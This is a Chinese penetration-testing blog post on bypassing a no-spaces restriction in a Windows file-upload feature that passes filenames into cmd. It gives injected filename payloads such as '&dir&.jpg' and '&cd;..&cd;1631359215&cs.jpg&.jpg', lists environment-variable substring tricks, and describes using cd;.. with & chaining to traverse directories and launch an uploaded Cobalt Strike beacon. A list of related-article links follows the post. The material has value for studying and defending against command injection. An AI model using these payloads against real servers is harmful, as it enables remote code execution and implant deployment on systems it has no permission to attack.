记一次“上传”命令执行的绕过案例

简介: 记一次“上传”命令执行的绕过案例

0x01 前言

前几天在“搞基大队”群里看到@六八老哥提到的一个问题,几个师傅都在讨论其绕过方式,自己也做了些测试,感觉还是挺有意思的,经老哥同意将这次讨论过程和绕过方式整理分享给大家。


这是一个基于上传的命令执行漏洞,以前还真没见过,虽然这种漏洞很少见,但如果遇到了你能绕过吗?欢迎各位师傅补充绕过姿势!


0x02 问题描述

遇到这样一个超级奇葩的利用点,文件上传时会把文件名放到cmd中去执行,但不允许出现空格,如果文件名中存在空格时则上传失败。

而且它这个系统每次上传会按时间戳创建一个文件夹, 它的存在导致每次上传执行,当前时间戳目录下只会存在一个文件,还有一个关键点就是后缀必须为jpg。

    C:\inetpub\wwwroot\1631023487\&dir&.jpg


    0x03 漏洞简述

    为什么后台是放到cmd中去执行的?因为它提供了这样一个功能,可以把图片或者文档转为pdf,后台是使用的一个exe程序,加文件路径去进行转换,可以通过控制文件名执行简单的命令。

    但是想去执行比如下载木马、添加账号等这些复杂一点的命令就不行了,只要出现空格就无法上传执行

    0x04 测试方法

    首先想到的绕过方式是以前测试过的“Windows环境变量截取绕过”,但在实际测试中发现不能用于这种场景,因为Windows文件命名规则中默认不允许使用这些字符:\、/、:、*、?、"、<、>、|

      %path:~10,1%
      %programfiles:~10,1%
      %processor_identifier:~7,1%
      %commonprogramw6432:~10,1%
      %commonprogramfiles(x86):~10,1%
      %commonprogramfiles:~10,1%
      %commonprogramfiles:~10,-18%
      %commonprogramfiles:~23,1%
      %fps_browser_app_profile_string:~8,1%
      [...SNIP...]


      本地搭建了一个上传漏洞,利用Burpsuite抓包,将上传文件数据包中文件名处的空格用%20进行解码发送后即可成功把带有空格命令的文件写进目标磁盘中,并且能够正常执行。

      注:这里必须将%20解码后再发送,否则会原样写入,文件名为:&net%20user.jpg。还有就是这个上传漏洞中是没有过滤空格等字符,如果已经过滤该绕过方式则可能无效。


      @六八老哥在测试中发现在cd中可以用,;等字符代替空格,但在跨目录时又发现不能用\,因为文件名中不允许出现\、/,最终测试出来可用于跨目录的cd命令如下。

        切换上级目录,不允许使用\/
        C:\inetpub\wwwroot\1631023487>cd;..\
        cd,..结合&连接符实现跨目录
        C:\inetpub\wwwroot>cd;..&cd;..&cd;windows&cd;system32


        0x05 绕过方式

        这个“上传”命令执行漏洞的关键点其实就是上传目录,文件名可控,然后再配合cd;..绕过空格垮目录,&命令连接就OK了。只要求后缀必须为jpg,文件名中不带空格即可。


        本地模拟测试:

        我们可以先将cs马改为cs.jpg传上去,目录在1631359215,然后再构造一个用于跨目录和执行cs马的jpg文件传上去,目录在1631023487,文件名为:&cd;..&cd;1631359215&cs.jpg&.jpg,上传执行后可以看到已经完美上线了。


        cmd /c C:\inetpub\wwwroot\1631023487\&cd;..&cd;1631359215&cs.jpg&.jpg


        注:由于没有环境进行复现测试,所以对实际情况并不是很清楚,可能更复杂些吧。说实话,在整理完这篇文章后对@六八老哥的文件落地这块都还处于蒙蔽状态,懒的再去研究了,就这样吧!!!

        相关文章
        |
        开发框架 监控 安全
        webshell检测方法归纳
        webshell检测方法归纳
        1100 0
        |
        JavaScript 前端开发 小程序
        js 实现浏览器下载视频2种方法
        js 实现浏览器下载视频2种方法
        1986 0
        |
        存储 算法 安全
        用户密码到底要怎么加密存储?
        作为互联网公司的信息安全从业人员经常要处理撞库扫号事件,产生撞库扫号的根本原因是一些企业发生了信息泄露事件,且这些泄露数据未加密或者加密方式比较弱,导致黑客可以还原出原始的用户密码。
        1190 0
        用户密码到底要怎么加密存储?
        |
        23天前
        |
        人工智能 数据可视化 安全
        实时云渲染:数字孪生走向“虚实共生”的核心技术引擎
        数字孪生正从可视化迈向智能体与全域协同,呈现全空间、全要素、全生命周期的体系化跃迁。2025年十大关键词涵盖低空经济、韧性城市、智能工厂等场景,实时云渲染技术突破算力瓶颈,推动数字孪生走向“可算、可管、可协同”的虚实共生未来。
        实时云渲染:数字孪生走向“虚实共生”的核心技术引擎
        |
        4月前
        |
        存储 安全 前端开发
        Web渗透-文件上传漏洞-上篇
        文件上传漏洞常见于Web应用,因类型限制不严可致恶意文件执行。本文介绍前端检测、MIME类型、黑名单、.htaccess、空格、双写等多种绕过方式,并结合upload-labs靶场演示利用方法,提升安全防护认知。
        904 1
        Web渗透-文件上传漏洞-上篇
        |
        9月前
        |
        数据可视化 数据挖掘 数据建模
        数据可视化工具大比拼:从Tableau到Power BI,谁才是你的最佳拍档?
        数据可视化工具大比拼:从Tableau到Power BI,谁才是你的最佳拍档?
        1246 12
        |
        10月前
        |
        Java 开发工具 uml
        课时106:类图
        本文介绍了UML(统一建模语言)及其在类图设计中的应用,重点讲解了使用Power Designer工具进行类图设计的具体步骤。UML通过图形化形式描述程序类关系,常见的设计工具有Rational Rose和Power Designer。文中详细说明了如何在Power Designer中新建类图、定义类的属性和方法、创建接口及其实现关系,并生成代码。此外,还介绍了将现有代码转换为类图的方法,以简化开发流程。总结指出,在实际项目中,通常会先编写代码再生成类图,以避免繁琐的设计过程。
        296 2
        课时106:类图
        |
        Unix Android开发 iOS开发
        操作系统的历史演变过程
        【10月更文挑战第15天】操作系统的历史演变过程
        561 2
        |
        SQL 安全 关系型数据库
        KALI下Sqlmap工具使用方法之GET方法篇
        KALI下Sqlmap工具使用方法之GET方法篇
        503 0
        |
        SQL 缓存 安全
        Memcached 未授权漏洞利用
        Memcached 未授权漏洞利用
        2262 0